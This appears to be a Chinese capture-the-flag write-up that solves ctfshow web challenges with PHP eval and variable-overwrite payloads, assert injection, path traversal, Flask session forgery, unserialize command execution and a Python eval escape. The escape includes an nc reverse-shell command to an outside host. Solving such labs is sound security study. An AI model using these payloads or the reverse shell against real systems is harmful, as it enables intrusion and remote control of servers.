前言
现在回来再看看上个学期打的比赛,感觉考点很明显,而且难度也不是特别高
WEB
web签到
传参
进去看到题目源码
<?php
error_reporting(0);
highlight_file(__FILE__);
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
后面的一串数组看着吓人,仔细观察会发现这是$_REQUEST
参数的一部分,因为我们传入的参数实际上都是以数组形式传入,所以后面这串数组最后只会增加$_REQUEST
参数的维数
于是我们一步一步来,
先传入cookie=CTFshow-QQ%e7%be%a4%3a=a
给$_POST
提供参数a,这里中文要经过url编码
然后POST传入a=b
给$_GET
提供参数b
接着GET传入b=c
给$_REQUEST
提供参数c
最后GET或POST请求传入c[6][0][7][5][8][0][9][4][4]=system('ls /');
tac /f1agaaa
即可获取flag
web2 c0me_t0_s1gn
html+js web基础
进入题目,f12发现hint和前半段flag
来到控制台又发现一个hint
跟着做就能获取后半段flag
flag:ctfshow{We1c0me_t0_jo1n_u3_!}
我的眼里只有$
变量覆盖
<?php
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
emm…整了37个$
,本质上还是一道变量覆盖,只要连续覆盖36次就行了(x
如果嫌手搓参数麻烦,这里有官方给的exp一步到位
<?php
$str="_=__";
$res="";
echo "_=__&";
for ($i=0; $i < 34; $i++) {
$str="_".$str."_";
echo $str."&";
if($i==33){
echo explode("=", $str)[1]."=eval(\$_GET[a]);";
}
}
最后在POST请求传入_=__&__=___&___=____&____=_____&_____=______&______=_______&_______=________&________=_________&_________=__________&__________=___________&___________=____________&____________=_____________&_____________=______________&______________=_______________&_______________=________________&________________=_________________&_________________=__________________&__________________=___________________&___________________=____________________&____________________=_____________________&_____________________=______________________&______________________=_______________________&_______________________=________________________&________________________=_________________________&_________________________=__________________________&__________________________=___________________________&___________________________=____________________________&____________________________=_____________________________&_____________________________=______________________________&______________________________=_______________________________&_______________________________=________________________________&________________________________=_________________________________&_________________________________=__________________________________&__________________________________=___________________________________&___________________________________=____________________________________&____________________________________=eval($_GET[a]);
GET传入?a=system('ls /');
tac /f1agaaa
获取flag
抽老婆
任意文件下载+session伪造
进入题目,点击开始来到抽老婆的界面,江风嘿嘿
发现有一个下载老婆的选项,f12打开选中这个元素发现存在一个/download?file=
的路由
在这个路由下随便输点东西,整出debug报错来,可以看到页面源码在/app.py
,且读取路径是/app/static/img/
目录穿越下载app.py
得到flask源码
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/11/07 09:16
# Author :g4_simon
# version :python 3.9.7
# Description:抽老婆,哇偶~
"""
from flask import *
import os
import random
from flag import flag
#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/getwifi', methods=['GET'])
def getwifi():
session['isadmin']=False
wifi=random.choice(os.listdir('static/img'))
session['current_wifi']=wifi
return render_template('getwifi.html',wifi=wifi)
@app.route('/download', methods=['GET'])
def source():
filename=request.args.get('file')
if 'flag' in filename:
return jsonify({"msg":"你想干什么?"})
else:
return send_file('static/img/'+filename,as_attachment=True)
@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
if session['isadmin']:
return jsonify({"msg":flag})
else:
return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=True)
很明显获取flag需要让session解析后的值等于isadmin
,而且SECRET_KEY
也已经给出来了,接下来要做的就是session伪造
访问/secret_path_U_never_know
拿到session
base64解一下发现"isadmin":false
,所以我们要做的是把false改为true
flask_session_cookie_manager3.py脚本跑一下
带上这个session值传cookie即可获取flag
一言既出
assert断言
进入题目看到源码
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
很明显我们需要构造一个语句使assert("intval($_GET[num])==1919810")
为真即可
首先要让?num=114514
,然后像sql注入一样用)
进行闭合,再想办法让后面的语句为真即可
payload:
/?num=114514)or(1919810
这里or
也可以改为;
驷马难追
assert+intval转换
进入题目看到源码
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514 && check($_GET['num'])){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
function check($str){
return !preg_match("/[a-z]|\;|\(|\)/",$str);
}
前面部分和上题一样,但是多加了一个过滤的函数,使得我们不能构造上题类似的注入语句
这个时候我们可以从assert("intval($_GET[num])==1919810"
这个语句出发,
在本地测试发现,虽然intval
函数不能直接对传入的参数进行计算,但是在assert
的断言语句中是可以实现计算的
测试代码:
<?php
echo $_GET['num'];
echo "<br>";
echo intval($_GET['num']);
echo "<br>";
echo assert(intval($_GET['num']));
echo "<br>";
if (assert("intval($_GET[num])==114515")){
echo "suki";
}
因此本题的payload就是:
?num=114514%2b1919810-114514
注意+号一定要url编码不然会被解析成空格
TapTapTap
js
进入题目,发现是小游戏,直接翻js
在habibiScript.js中搜索alert
发现base64语句
解得”Your flag is in /secret_path_you_do_not_know/secretfile.txt”
访问/secret_path_you_do_not_know/secretfile.txt
得到flag
Webshell
简单的反序列化
进入题目看到源码
<?php
error_reporting(0);
class Webshell {
public $cmd = 'echo "Hello World!"';
public function __construct() {
$this->init();
}
public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}
public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}
if(isset($_GET['cmd'])) {
$serializecmd = $_GET['cmd'];
$unserializecmd = unserialize($serializecmd);
$unserializecmd->init();
}
else {
highlight_file(__FILE__);
}
?>
逻辑很清晰,我们要改动的部分只有$cmd
的值,这个值经过init()
方法的过滤,最终会在shell_exec
处作为命令执行
而init()
方法中的过滤方式是匹配flag这个字符串
所以我们只需要利用通配符*
进行绕过即可
exp:
<?php
class Webshell {
public $cmd = 'echo "Hello World!"';
}
$a=new Webshell();
$a->cmd="ls"; // 此处是要执行的命令
echo serialize($a);
// O:8:"Webshell":1:{s:3:"cmd";s:2:"ls";}
查看目录
获取flag
化零为整
字符拼接
进入题目,看见源码
<?php
highlight_file(__FILE__);
include "flag.php";
$result='';
for ($i=1;$i<=count($_GET);$i++){
if (strlen($_GET[$i])>1){
die("你太长了!!");
}
else{
$result=$result.$_GET[$i];
}
}
if ($result ==="大牛"){
echo $flag;
}
观察代码,发现每次传入的字符长度只能为1,
而$result=$result.$_GET[$i];
会对每个传入的参数的值进行拼接
同时因为for ($i=1;$i<=count($_GET);$i++)
,我们每个传入的参数都得是数字
于是这里对大牛
进行url编码,逐个字符传入即可
payload:
?1=%e5&2=%a4&3=%a7&4=%e7&5=%89&6=%9b
无一幸免
进入题目,看到源码
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die($flag);
}
else{
die("nonono!");
}
}
只要让$arr[]=1
即可获取flag,
而$arr[]=1
的意思是在数组中追加一个数并且赋值为1,
本地测试:
<?php
$a=array(1,2,3,4,5);
$a[]=1;
var_dump($a);
因此只要有传参数进去就能获取flag
payload:
?0=
无一幸免_FIXED
追加数组溢出
进入题目,看到源码
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die("nonono!");
}
else{
die($flag);
}
}
?>
和原来的不同之处在于两个条件互换了下位置
而此时回显nonono!条件永真
此时如果想要绕过if ($arr[]=1)
,就要让$arr[]=1
赋值失败
这里运用的原理是:索引数组最大下标等于最大int数,对其追加会导致整型数溢出,进而引起追加失败
32位为2147483647
,64为9223372036854775807
本题是64位,所以payload:
?0=9223372036854775807
此时执行$arr[]=1
会失败
传说之下(雾)
js代码审计
进入题目,是小游戏
f12查看js源码
发现有js混淆,不能直接读flag了
那就审计下js代码
游戏由类 Underophidian 实现,只需在控制台修改Game中对应分数的变量即可
输入Game查看其中的变量,发现score
修改Game.score=2077
开始游戏,获得flag
算力超群
python沙箱逃逸
进入题目,发现是个计算器
点击hint,没有什么有用的提示信息
随便输入几个数字算一下
在网络中发现一个_calculate
路由
参数有number1,operator和number2
复制路由下来,修改参数的值为随便一个字符弄出报错界面来
可以发现计算结果是用eval()
函数输出的,那就存在命令执行
测试一下发现number1和operator参数存在过滤,而number2参数没有
那就直接在number2处进行命令执行反弹shell
/_calculate?number1=3&operator=%2B&number2=__import__('os').system('nc 76135132qk.imdo.co 50132 -e /bin/sh')
获取flag
算力升级(待完成)
pyjail
进入题目,发现可以直接查看源码
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/10/20 15:16
# Author :g4_simon
# version :python 3.9.7
# Description:算力升级--这其实是一个pyjail题目
"""
from flask import *
import os
import re,gmpy2
import json
#初始化全局变量
app = Flask(__name__)
pattern=re.compile(r'\w+')
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/tiesuanzi', methods=['POST'])
def tiesuanzi():
code=request.form.get('code')
for item in pattern.findall(code):#从code里把单词拿出来
if not re.match(r'\d+$',item):#如果不是数字
if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
try:
result=eval(code)
return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})
except:
return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})
@app.route('/source', methods=['GET'])
def source():
return render_template('source.html')
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=False)
审计源码,很明显只能让我们用数字或者gmpy2
库里面的函数来操作
遍地飘零
变量覆盖
进入题目,看到源码
<?php
include "flag.php";
highlight_file(__FILE__);
$zeros="000000000000000000000000000000";
foreach($_GET as $key => $value){
$$key=$$value;
}
if ($flag=="000000000000000000000000000000"){
echo "好多零";
}else{
echo "没有零,仔细看看输入有什么问题吧";
var_dump($_GET);
}
前面foreach的部分在我的变量覆盖的一次探索文章中有研究过
直接看到var_dump部分,这里会输出输出$_GET
的值
如果_GET不是本地变量的话,后台会输出GET请求传递过去的参数
因此_GET
必须是本地变量,也就是GET请求传递的参数;同时,还需要参数值为flag,才能进行变量覆盖
payload:
?_GET=flag